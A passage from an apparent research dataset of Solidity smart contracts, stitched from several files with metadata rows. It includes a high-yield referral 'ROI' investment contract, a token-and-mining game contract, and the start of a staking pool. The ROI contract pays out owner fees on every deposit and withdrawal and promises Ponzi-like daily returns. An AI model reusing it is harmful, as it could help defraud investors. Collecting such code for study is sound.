// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 maxDailyInterest;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract SumitROI is Ownable {
using SafeMath for uint256;
uint256 private constant INTEREST_CYCLE = 1 days;
uint256 private constant DEVELOPER_ENTRY_RATE = 20; //per thousand
uint256 private constant ADMIN_ENTRY_RATE = 90;
uint256 private constant REFERENCE_RATE = 60;
uint256 private constant DEVELOPER_EXIT_RATE = 10; //per thousand
uint256 private constant ADMIN_EXIT_RATE = 30;
uint256 public constant REFERENCE_LEVEL1_RATE = 50;
uint256 public constant REFERENCE_LEVEL2_RATE = 10;
uint256 public constant MINIMUM = 10000000; //minimum investment needed
uint256 public constant REFERRER_CODE = 6666; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
address payable private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address payable _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(27,79*60*60*24,37)); //79 days
investmentPlans_.push(Objects.Plan(37, 48*60*60*24,47)); //48 days
investmentPlans_.push(Objects.Plan(47, 28*60*60*24,57)); //25 days
investmentPlans_.push(Objects.Plan(57, 20*60*60*24,67)); //18 days
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory maxInterests = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
maxInterests[i] = plan.maxDailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
maxInterests,
terms);
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory,uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory interests = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
newDividends[i] = 0;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
isExpireds[i] = true;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
}else{
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = (numberOfDays < 10) ? investmentPlans_[investor.plans[i].planId].dailyInterest + numberOfDays : investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = (numberOfDays < 10) ? investmentPlans_[investor.plans[i].planId].dailyInterest + numberOfDays : investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
newDividends,
interests,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(ADMIN_ENTRY_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate , plan.maxDailyInterest);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_EXIT_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(ADMIN_EXIT_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
msg.sender.transfer(withdrawalAmount.sub(developerPercentage.add(marketingPercentage)));
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start , uint256 _maxDailyInterest) private pure returns (uint256) {
uint256 numberOfDays = (_now - _start) / INTEREST_CYCLE ;
uint256 result = 0;
uint256 index = 0;
if(numberOfDays > 0){
uint256 secondsLeft = (_now - _start);
for (index; index < numberOfDays; index++) {
if(_dailyInterestRate + index <= _maxDailyInterest){
secondsLeft -= INTEREST_CYCLE;
result += (_amount * (_dailyInterestRate + index) / 1000 * INTEREST_CYCLE) / (60*60*24);
}
else{
break;
}
}
result += (_amount * (_dailyInterestRate + index) / 1000 * secondsLeft) / (60*60*24);
return result;
}else{
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 301,960 | 11,208 |
fdba454a5a901ef18006e32df8c18143d27d47e63c54a8caf129401276880e07
| 17,246 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x749012523b5c0f634537736202e233f12e9e66bc.sol
| 4,461 | 16,779 |
pragma solidity ^0.4.20;
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
}
contract Owned {
address public ceoAddress;
address public cooAddress;
address private newCeoAddress;
address private newCooAddress;
function Owned() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress);
_;
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
newCeoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
newCooAddress = _newCOO;
}
function acceptCeoOwnership() public {
require(msg.sender == newCeoAddress);
require(address(0) != newCeoAddress);
ceoAddress = newCeoAddress;
newCeoAddress = address(0);
}
function acceptCooOwnership() public {
require(msg.sender == newCooAddress);
require(address(0) != newCooAddress);
cooAddress = newCooAddress;
newCooAddress = address(0);
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract ERC20 is ERC20Interface, Owned {
using SafeMath for uint;
string public constant symbol = "GPC";
string public constant name = "God Power Coin";
uint8 public constant decimals = 18;
uint constant WAD = 10 ** 18;
uint public _totalSupply = (10 ** 9) * WAD;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyCLevel returns (bool success) {
return ERC20Interface(tokenAddress).transfer(ceoAddress, tokens);
}
function payout(uint amount) public onlyCLevel {
if (amount > this.balance)
amount = this.balance;
ceoAddress.transfer(amount);
}
}
contract ERC721 is ERC20 {
function _addressNotNull(address _to) private pure returns(bool) {
return _to != address(0);
}
function _approved(address _to, uint _tokenId) private view returns(bool) {
return token[_tokenId].approved == _to;
}
function _ownsToken(address user, uint _tokenId) public view returns(bool) {
return user == token[_tokenId].owner;
}
function _transferToken(address _from, address _to, uint _tokenId) internal {
token[_tokenId].owner = _to;
token[_tokenId].approved = address(0);
TransferToken(_from, _to, _tokenId);
}
uint[] public tokenList;
struct TOKEN {
address owner;
address approved;
uint price;
uint lastPrice;
uint mSpeed;
uint mLastPayoutBlock;
}
mapping(uint => TOKEN) public token;
event Birth(uint indexed tokenId, uint startPrice);
event TokenSold(uint indexed tokenId, uint price, address indexed prevOwner, address indexed winner);
event TransferToken(address indexed from, address indexed to, uint indexed tokenId);
event ApprovalToken(address indexed owner, address indexed approved, uint indexed tokenId);
function approveToken(address _to, uint _tokenId) public {
require(_ownsToken(msg.sender, _tokenId));
token[_tokenId].approved = _to;
ApprovalToken(msg.sender, _to, _tokenId);
}
function getTotalTokenSupply() public view returns(uint) {
return tokenList.length;
}
function ownerOf(uint _tokenId) public view returns (address owner) {
owner = token[_tokenId].owner;
}
function priceOf(uint _tokenId) public view returns (uint price) {
price = token[_tokenId].price;
}
function takeOwnership(uint _tokenId) public {
address newOwner = msg.sender;
address oldOwner = token[_tokenId].owner;
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transferToken(oldOwner, newOwner, _tokenId);
}
function transferToken(address _to, uint _tokenId) public {
require(_ownsToken(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transferToken(msg.sender, _to, _tokenId);
}
function transferTokenFrom(address _from, address _to, uint _tokenId) public {
require(_ownsToken(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transferToken(_from, _to, _tokenId);
}
function tokenBalanceOf(address _owner) public view returns(uint result) {
uint totalTokens = tokenList.length;
uint tokenIndex;
uint tokenId;
result = 0;
for (tokenIndex = 0; tokenIndex < totalTokens; tokenIndex++) {
tokenId = tokenList[tokenIndex];
if (token[tokenId].owner == _owner) {
result = result.add(1);
}
}
return result;
}
function tokensOfOwner(address _owner) public view returns(uint[] ownerTokens) {
uint tokenCount = tokenBalanceOf(_owner);
if (tokenCount == 0) return new uint[](0);
uint[] memory result = new uint[](tokenCount);
uint totalTokens = tokenList.length;
uint resultIndex = 0;
uint tokenIndex;
uint tokenId;
for (tokenIndex = 0; tokenIndex < totalTokens; tokenIndex++) {
tokenId = tokenList[tokenIndex];
if (token[tokenId].owner == _owner) {
result[resultIndex] = tokenId;
resultIndex = resultIndex.add(1);
}
}
return result;
}
function getTokenIds() public view returns(uint[]) {
return tokenList;
}
uint public priceFactorA = 200;
uint public priceFactorB = 120;
uint public priceFactorC = 16 * (10**18);
function changePriceFactor(uint a_, uint b_, uint c_) public onlyCLevel {
priceFactorA = a_;
priceFactorB = b_;
priceFactorC = c_;
}
function getMaxPrice(uint _tokenId) public view returns (uint) {
uint price = token[_tokenId].lastPrice.mul(priceFactorB);
uint priceLow = token[_tokenId].lastPrice.mul(100).add(priceFactorC);
uint priceHigh = token[_tokenId].lastPrice.mul(priceFactorA);
if (price < priceLow)
price = priceLow;
if (price > priceHigh)
price = priceHigh;
price = price / (10**18);
price = price.mul(10**16); // round to x.xx ETH
return price;
}
function changeTokenPrice(uint newPrice, uint _tokenId) public {
require((_ownsToken(msg.sender, _tokenId))
||
((_ownsToken(address(0), _tokenId)) && ((msg.sender == ceoAddress) || (msg.sender == cooAddress))));
newPrice = newPrice / (10**16);
newPrice = newPrice.mul(10**16); // round to x.xx ETH
require(newPrice > 0);
require(newPrice <= getMaxPrice(_tokenId));
token[_tokenId].price = newPrice;
}
}
contract GodPowerCoin is ERC721 {
function GodPowerCoin() public {
balances[msg.sender] = _totalSupply;
Transfer(address(0), msg.sender, _totalSupply);
}
uint public divCutPool = 0;
uint public divCutMaster = 10; // to master card
uint public divCutAdmin = 30;
uint public divPoolAmt = 0;
uint public divMasterAmt = 0;
mapping(address => uint) public dividend;
function withdrawDividend() public {
require(dividend[msg.sender] > 0);
msg.sender.transfer(dividend[msg.sender]);
dividend[msg.sender] = 0;
}
function setCut(uint admin_, uint pool_, uint master_) public onlyCLevel {
divCutAdmin = admin_;
divCutPool = pool_;
divCutMaster = master_;
}
function purchase(uint _tokenId, uint _newPrice) public payable {
address oldOwner = token[_tokenId].owner;
uint sellingPrice = token[_tokenId].price;
require(oldOwner != msg.sender);
require(msg.sender != address(0));
require(sellingPrice > 0); // can't purchase unreleased token
require(msg.value >= sellingPrice);
uint purchaseExcess = msg.value.sub(sellingPrice);
payoutMining(_tokenId); // must happen before owner change!!
uint payment = sellingPrice.mul(1000 - divCutPool - divCutAdmin - divCutMaster) / 1000;
if (divCutPool > 0)
divPoolAmt = divPoolAmt.add(sellingPrice.mul(divCutPool) / 1000);
divMasterAmt = divMasterAmt.add(sellingPrice.mul(divCutMaster) / 1000);
token[_tokenId].lastPrice = sellingPrice;
uint maxPrice = getMaxPrice(_tokenId);
if ((_newPrice > maxPrice) || (_newPrice == 0))
_newPrice = maxPrice;
token[_tokenId].price = _newPrice;
_transferToken(oldOwner, msg.sender, _tokenId);
if (_tokenId % 10000 > 0) {
address MASTER = token[(_tokenId / 10000).mul(10000)].owner;
dividend[MASTER] = dividend[MASTER].add(sellingPrice.mul(divCutMaster) / 1000);
}
oldOwner.transfer(payment);
if (purchaseExcess > 0)
msg.sender.transfer(purchaseExcess);
TokenSold(_tokenId, sellingPrice, oldOwner, msg.sender);
}
function _createToken(uint tokenId, uint _price, address _owner, uint _mBaseSpeed) internal {
token[tokenId].owner = _owner;
token[tokenId].price = _price;
token[tokenId].lastPrice = _price;
token[tokenId].mSpeed = _mBaseSpeed;
token[tokenId].mLastPayoutBlock = block.number;
mSumRawSpeed = mSumRawSpeed.add(getMiningRawSpeed(tokenId));
Birth(tokenId, _price);
tokenList.push(tokenId);
}
function createToken(uint tokenId, uint _price, address _owner, uint _mBaseSpeed) public onlyCLevel {
require(_price != 0);
if (_owner == address(0))
_owner = ceoAddress;
require(token[tokenId].price == 0);
_createToken(tokenId, _price, _owner, _mBaseSpeed);
TransferToken(0, _owner, tokenId);
}
function createSimilarTokens(uint[] tokenId, uint _price, address _owner, uint _mBaseSpeed) public onlyCLevel {
require(_price != 0);
if (_owner == address(0))
_owner = ceoAddress;
for (uint i = 0; i < tokenId.length; i++) {
require(token[tokenId[i]].price == 0);
_createToken(tokenId[i], _price, _owner, _mBaseSpeed);
TransferToken(0, _owner, tokenId[i]);
}
}
function createMultipleTokens(uint[] tokenId, uint[] _price, address _owner, uint[] _mBaseSpeed) public onlyCLevel {
if (_owner == address(0))
_owner = ceoAddress;
for (uint i = 0; i < tokenId.length; i++) {
require(_price[i] != 0);
require(token[tokenId[i]].price == 0);
_createToken(tokenId[i], _price[i], _owner, _mBaseSpeed[i]);
TransferToken(0, _owner, tokenId[i]);
}
}
event MiningUpgrade(address indexed sender, uint indexed token, uint newLevelSpeed);
uint public mSumRawSpeed = 0;
uint public mCoinPerBlock = 50;
uint public mUpgradeCostFactor = mCoinPerBlock * 6000 * WAD;
uint public mUpgradeSpeedup = 1040; // = * 1.04
function adminSetMining(uint mCoinPerBlock_, uint mUpgradeCostFactor_, uint mUpgradeSpeedup_) public onlyCLevel {
mCoinPerBlock = mCoinPerBlock_;
mUpgradeCostFactor = mUpgradeCostFactor_;
mUpgradeSpeedup = mUpgradeSpeedup_;
}
function getMiningRawSpeed(uint id) public view returns (uint) {
return token[id].mSpeed;
}
function getMiningRealSpeed(uint id) public view returns (uint) {
return getMiningRawSpeed(id).mul(mCoinPerBlock) / mSumRawSpeed;
}
function getMiningUpgradeCost(uint id) public view returns (uint) {
return getMiningRawSpeed(id).mul(mUpgradeCostFactor) / mSumRawSpeed;
}
function upgradeMining(uint id) public {
uint cost = getMiningUpgradeCost(id);
balances[msg.sender] = balances[msg.sender].sub(cost);
_totalSupply = _totalSupply.sub(cost);
mSumRawSpeed = mSumRawSpeed.sub(getMiningRawSpeed(id));
token[id].mSpeed = token[id].mSpeed.mul(mUpgradeSpeedup) / 1000;
mSumRawSpeed = mSumRawSpeed.add(getMiningRawSpeed(id));
MiningUpgrade(msg.sender, id, token[id].mSpeed);
}
function upgradeMiningMultipleTimes(uint id, uint n) public {
for (uint i = 0; i < n; i++) {
uint cost = getMiningUpgradeCost(id);
balances[msg.sender] = balances[msg.sender].sub(cost);
_totalSupply = _totalSupply.sub(cost);
mSumRawSpeed = mSumRawSpeed.sub(getMiningRawSpeed(id));
token[id].mSpeed = token[id].mSpeed.mul(mUpgradeSpeedup) / 1000;
mSumRawSpeed = mSumRawSpeed.add(getMiningRawSpeed(id));
}
MiningUpgrade(msg.sender, id, token[id].mSpeed);
}
function payoutMiningAll(address owner, uint[] list) public {
uint sum = 0;
for (uint i = 0; i < list.length; i++) {
uint id = list[i];
require(token[id].owner == owner);
uint blocks = block.number.sub(token[id].mLastPayoutBlock);
token[id].mLastPayoutBlock = block.number;
sum = sum.add(getMiningRawSpeed(id).mul(mCoinPerBlock).mul(blocks).mul(WAD) / mSumRawSpeed); // mul WAD !
}
balances[owner] = balances[owner].add(sum);
_totalSupply = _totalSupply.add(sum);
}
function payoutMining(uint id) public {
require(token[id].mLastPayoutBlock > 0);
uint blocks = block.number.sub(token[id].mLastPayoutBlock);
token[id].mLastPayoutBlock = block.number;
address owner = token[id].owner;
uint coinsMined = getMiningRawSpeed(id).mul(mCoinPerBlock).mul(blocks).mul(WAD) / mSumRawSpeed; // mul WAD !
balances[owner] = balances[owner].add(coinsMined);
_totalSupply = _totalSupply.add(coinsMined);
}
}
| 275,206 | 11,209 |
eebdc4b2c11e49a88fbbc74c1667a1c7543e4d18523699432f884694adf16797
| 11,477 |
.sol
|
Solidity
| false |
441522581
|
unitefinance/unite-contracts
|
bf5c6ef6a0b64ba1365363322bf5fbdc0604bf51
|
contracts/distribution/UniteRewardPool.sol
| 3,033 | 11,299 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
// Note that this pool has no minter key of UNITE (rewards).
contract UniteRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. UNITEs to distribute in the pool.
uint256 lastRewardTime; // Last time that UNITEs distribution occurred.
uint256 accUnitePerShare; // Accumulated UNITEs per share, times 1e18. See below.
bool isStarted; // if lastRewardTime has passed
}
IERC20 public bomb;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The time when UNITE mining starts.
uint256 public poolStartTime;
uint256[] public epochTotalRewards = [80000 ether, 60000 ether];
// Time when each epoch ends.
uint256[3] public epochEndTimes;
// Reward per second for each of 2 epochs (last item is equal to 0 - for sanity).
uint256[3] public epochUnitePerSecond;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
